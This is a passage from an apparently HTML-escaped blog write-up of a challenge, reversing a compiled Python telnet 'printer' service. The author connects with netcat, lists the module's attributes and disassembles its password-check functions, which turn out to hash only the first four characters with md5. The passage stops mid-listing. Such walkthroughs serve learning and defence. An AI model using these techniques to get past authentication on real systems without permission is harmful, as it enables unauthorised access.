sans-serif;"&gt;So the first things you notice is that you dont have the source, so you try and decompile it using "&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;decompyle&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;". It does not work out so I try importing it at the python interactive prompt and I get a&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;ImportError: Bad magic number in ndevice.pyc &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;error. Googling for the same lets me know that Im to use another version of python. I try python3.1, no success. I try 2.7 and yup, it works!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I search around for decompyle for python2.7; cant find it. I decide to find out whatever I can about the binary before I can proceed. This is how it went.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; import ndevice&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; dir(ndevice)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;['PrinterFactory', 'PrinterProtocol', 'StatefulTelnetProtocol', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__warningregistry__', 'genetic', 'main', 'md5', 'protocol', 're', 'reactor', 'storage']&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Aaah, Twisted is being used eh? I had myself used twisted to write a &lt;a href="https://bitbucket.org/zubin71/honeyftp/"&gt;service&lt;/a&gt;&amp;nbsp;so I &amp;nbsp;figured it would go well. I tried to get as many details about the binary using simple imports and dir calls as I could, however, I realized that disassembly would be required eventually.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This was my first time doing python disassembly, so I did a bit of googling and came across the awesome &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;dis&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt; module.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From the above dir, it seemed that &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;StatefulTelnetProtocol&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt; would take care of the communication alone; it would be the &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;PrinterProtocol&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt; that needed attention in that case. So, I have a look at its functions:-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; dir(ndevice.PrinterProtocol)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;['CommandStrEnterBanner', 'CommandStrEnterPwd', 'CommandStrMain', 'CommandStrMonitoring', 'CommandStrSettings', 'Help', 'HelpCaption', 'Info', 'MAX_LENGTH', 'MessageBannerBad', 'MessageBannerEmpty', 'MessageBannerInternal', 'MessageBannerSet', 'MessageBannerTooLong', 'MessagePwdBad', 'MessagePwdEmpty', 'MessagePwdInternal', 'MessagePwdSet', 'MessagePwdTooLong', 'MonitoringHelp', 'SettingsHelp', 'UnknownCommand', '_LineReceiver__buffer', '__doc__', '__implemented__', '__module__', '__providedBy__', '__provides__', 'clearLineBuffer', 'connected', 'connectionLost', 'connectionMade', 'dataReceived', 'delimiter', 'disableLocal', 'disableRemote', 'enableLocal', 'enableRemote', 'handle_checkpwd', 'handle_main', 'handle_monitoring', 'handle_setbanner', 'handle_setpwd', 'handle_settings', 'lineLengthExceeded', 'lineReceived', 'line_mode', 'makeConnection', 'pauseProducing', 'paused', 'rawDataReceived', 'resumeProducing', 'sendLine', 'setLineMode', 'setRawMode', 'state', 'stopProducing', 'telnet_Discard', 'transport', 'unhandledCommand', 'unhandledSubnegotiation']&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hmm, it would be better if I knew what I was looking for. So:-&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;~ $ nc localhost 2001&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Genetic Printer (Powered by PHD)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Type help for Help&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Prn&amp;gt; help&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;help &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Main context help&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;info &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Device inforamtion&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;settings &amp;nbsp; &amp;nbsp;- Settings context&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;monitor &amp;nbsp; &amp;nbsp; - Monitoring context&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;exit &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Exit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Prn&amp;gt; settings&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Enter Password: blah&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Error: Bad Password&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ok. So, now I'll check out handle_checkpwd. This was the first time I was using the &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;dis&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt; module, so I was skeptical about how much time this would take me.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; dir(PrinterProtocol.handle_checkpwd)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; dis(PrinterProtocol.handle_checkpwd)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;140 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (factory)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 6 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 (checkPassword)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 9 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 (command)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;15 POP_JUMP_IF_FALSE &amp;nbsp; &amp;nbsp; &amp;nbsp; 49&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;141 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;18 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 ('settings')&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;21 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;24 STORE_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 (currentCommand)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;142 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;27 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;30 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (transport)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;33 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4 (write)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;36 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;39 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;5 (CommandStrSettings)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;42 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;45 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;46 JUMP_FORWARD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;47 (to 96)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;144 &amp;nbsp; &amp;nbsp; &amp;gt;&amp;gt; &amp;nbsp; 49 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;52 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (transport)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;55 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4 (write)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;58 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;61 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;6 (MessagePwdBad)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;64 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;67 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;145 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;68 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 ('main')&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;71 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;74 STORE_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 (currentCommand)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;146 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;77 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;80 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (transport)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;83 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4 (write)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;86 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;89 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;7 (CommandStrMain)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;92 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;95 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;gt;&amp;gt; &amp;nbsp; 96 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 (None)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;99 RETURN_VALUE &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hmm, not bad at all! I can actually just read through and have an idea about whats going on in there! In Twisted, all the methods related to a particular protocol are kept in the factory and all the connection specific details would be present in the protocol. In this case, the method &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;handle_checkpwd&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt; is simply calling &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;self.factory.checkPassword&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ok, so lets disassemble that.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; dis(ndevice.PrinterFactory.checkPassword)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;206 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 LOAD_GLOBAL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (md5)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 (new)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 6 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 (pwd)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 9 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 (0)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 (4)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;15 SLICE+3 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;16 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;19 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2 (hexdigest)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;22 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;25 STORE_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 (updPwd)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;207 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;28 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2 (updPwd)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;31 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" 